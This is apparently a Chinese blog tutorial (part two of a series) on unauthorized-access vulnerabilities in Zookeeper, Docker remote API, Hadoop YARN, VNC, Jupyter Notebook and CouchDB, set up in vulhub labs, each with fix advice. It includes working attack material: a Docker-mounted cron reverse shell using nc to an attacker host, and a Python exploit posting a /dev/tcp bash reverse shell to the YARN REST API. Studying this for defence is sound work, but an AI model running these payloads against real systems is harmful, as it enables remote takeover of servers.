cluster mysqld未连接_常见的未授权访问漏洞总结(下)

八、Zookeeper未授权访问

0x01 漏洞原因

  zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

0x02环境搭建
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gztar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/confmv zoo_sample.cfg zoo.cfg../bin/zkServer.sh start # 启动

531ba9d863b1f30c63dc3c02a174bd5c.png

0x03 漏洞测试

(1):查看目标主机IP

1eee86b71a8bdbdb122ac1f344abc93d.png

(2):测试连接

需要安装java环境,否则会报错。

87e202fa2e2024e7bc4a3401f28e640f.png

  • 使用kali进行连接

echo envi | nc 192.168.223.165 2181    #查看有关服务环境的详细信息

62c1509faa5b2abde2f0e2e3757f2545.png

echo stat | nc 192.168.223.165 2181     #性能和连接的客户端的统计信息

e191f3f577122b620e9f4871949223a5.png

echo ruok | nc 192.168.223.165 2181       #测试服务器是否运行在非错误状态

6cfcb6159a9200bb78857efad4f02957.png

echo reqs | nc 192.168.223.165 2181      #查看服务器未完成的请求

48f808a013e33475214464c1cb9a1c95.png

echo dump | nc 192.168.223.165 2181      #查看未完成的会话和节点

0907435e78e7622dc13ec0dc6515f7df.png

  • 使用zookeeper可视化管理工具进行连接

下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

e18fcbfeda345b932843fa2426ef4e4d.png

0x04 修复建议

 (1):添加用户名密码认证,设置ip访问控制

 (2):禁止把Zookeeper直接暴露在公网

 (3):绑定指定IP进行访问,修改 ZooKeeper 默认端口,采用其他端口服务

九、Docker未授权访问

0x01 漏洞原因

  docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建container,删除已有 container,甚至是获取宿主机的 shell。

0x02 环境搭建
cd vulhub/docker/unauthorized-rce/docker-compose up -ddocker-compose build

fa91cf80d2bbd711414014bb5333c896.png

netstat -ano | grep 2375

3013678de02151278cfbfe752ce54560.png

查看docker版本。

f41eef4d957b1ed175c00cf33bbbd840.png

0x03 漏洞利用

通过docker daemon api 执行docker命令。

(1):新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

docker -H tcp://192.168.223.173:2375 run -id -v /etc/crontabs:/tmp alpine:latest

d1b29bc62689eb80f7edb4f91f383712.png

90fc50d51b6394f85a09baead7a0e7f2.png

(2):进入容器

docker -H tcp://192.168.223.173:2375 exec -it 079493dfd697 sh

2d3a6b8cde8c3ccc922ac1db531afc19.png

(3):在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /usr/bin/nc VPS IP 4444 -e /bin/sh' >> /tmp/root

601a0c19d10377cba3ec556a9d5de85a.png

(3):本地监听端口,获取对方宿主机shell

nc -lvp 4444

bc30f1926ee282dd70bef25a2ba78aee.png

0x04 修复建议

(1):简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则

(2):修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行

十、Hadoop Yarn REST API未授权访问

0x01 漏洞原因

  Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。

0x02 环境搭建

使用vulhub进行环境搭建。

cd vulhub/hadoop/unauthorized-yarn/ls

1341ddfe31d384ef00d8755b120a58ff.png

docker-compose up -d

c9ae601682b49538db078453d291efa0.png

访问目标主机的8088端口,成功访问到Hadoop页面。

4e3370af32b408cb6c8b19140af40495.png

0x03 漏洞利用

利用exp

#!/usr/bin/env pythonimport requeststarget = 'http://192.168.223.173:8088/'  # 目标主机IPlhost = '192.168.223.160' # 攻击方的IP地址(kali的IP)url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = {    'application-id': app_id,    'application-name': 'get-shell',    'am-container-spec': {        'commands': {            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,        },    },    'application-type': 'YARN',}requests.post(url, json=data)

(1):在目标主机上监听端口

nc -lvp 9999

3be1b53baef6d75fe24bb21574cde99a.png

(2):执行exp

需要安装simplejson,使用python3执行。

dbcdad2e300fc3b7324d3a95d69a828c.png

(3):成功getshell

nc -lvp 9999

8950b22384a45c1f638d752b5544b121.png

0x04 修复建议

(1):开启身份验证,防止未经授权用户访问

(2):修改默认端口

(3):部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问

(4):设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口

十一、VNC未授权访问

0x01 漏洞原因

  VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。

0x02 环境搭建
下载地址:https://archive.realvnc.com/download/open/4.0/

靶机:windows Server 2008(192.168.223.169)

攻击主机:kali(192.168.223.160)

(1):下载环境

0021c1a1bb818361c36ba6a4ed802482.png

(2):进行安装

一直默认安装即可。

04eb0f500ff8f36f48367bf8cb613651.png

62f95c2fe50496abd1e281e8c75fd26c.png

06a27ac99062c8dcdae627da90c5f4d0.png

570f2e1ec680a1a74fba8d6a4802dc2e.png

没有强制配置密码。

0x03 漏洞利用

在kali中输入如下命令

vncviewer 192.168.223.169

fa3a1d0971c9cc2c1cb8ff4bfb8283e7.png

连接成功,但是目标系统是黑屏,在网上查看解决方案,大多数给的是Linux相关的解决方案,目前还在查找相关解决方案,希望大佬指教。

0x04 修复建议

(1):配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码

(2):以最小普通权限身份运行操作系统

十二、Jupyter Notebook未授权访问

0x01 漏洞原因

  Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

0x02 环境搭建
cd vulhub/jupyter/notebook-rce/lsdocker-compose up -d

d172a1ae385330293efa0f252f9bf31e.png

访问8888端口。

346c09dc4b13723612904e56cf5a773d.png

成功登录。

0x03 漏洞利用

(1):新建Terminal

741e1b3d7fceb6f1510bf0703a175037.png

(2):执行命令

5d5c7079a31fe75c260f558ca5e9ed77.png

0x04 修复建议

(1):开启身份验证,防止未经授权用户访问

(2):访问控制策略,限制IP访问,绑定固定IP

十三、CouchDB未授权访问

0x01 漏洞原因

  Apache CouchDB是一个开源数据库。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

  在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

0x02 环境搭建
cd vulhub/couchdb/CVE-2017-12636lsdocker-compose up -d

7fe74ccfb8ff36259634f59d927f2303.png

访问5984端口

92b783b1bb809751d097d619256e677b.png

b41505ad4729dbac91760b87e0476615.png

0x03 漏洞利用

(1):查看网页内容

adb16b593595551962b1970ac8209344.png

拓展说明:可以利用CouchDB进行命令执行成功getshell。但是有一个前提条件,那就是必有一个管理员账户和密码,如果没有管理员账户和密码就无法执行exp来进行反弹shell。其实我们可以结合CVE-2017-12635这个漏洞来创建一个管理员账户,然后使用CVE-2017-12636漏洞来进行反弹shell。由于该文章只是介绍未授权访问,因此不再赘述。在此附上相关链接:https://www.codercto.com/a/19372.html

0x04 修复建议

(1):绑定指定ip,只有指定IP才能访问

(2):设置访问密码

致谢:感谢各位前辈大佬的文章,参考各位文章学习到很多相关知识。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值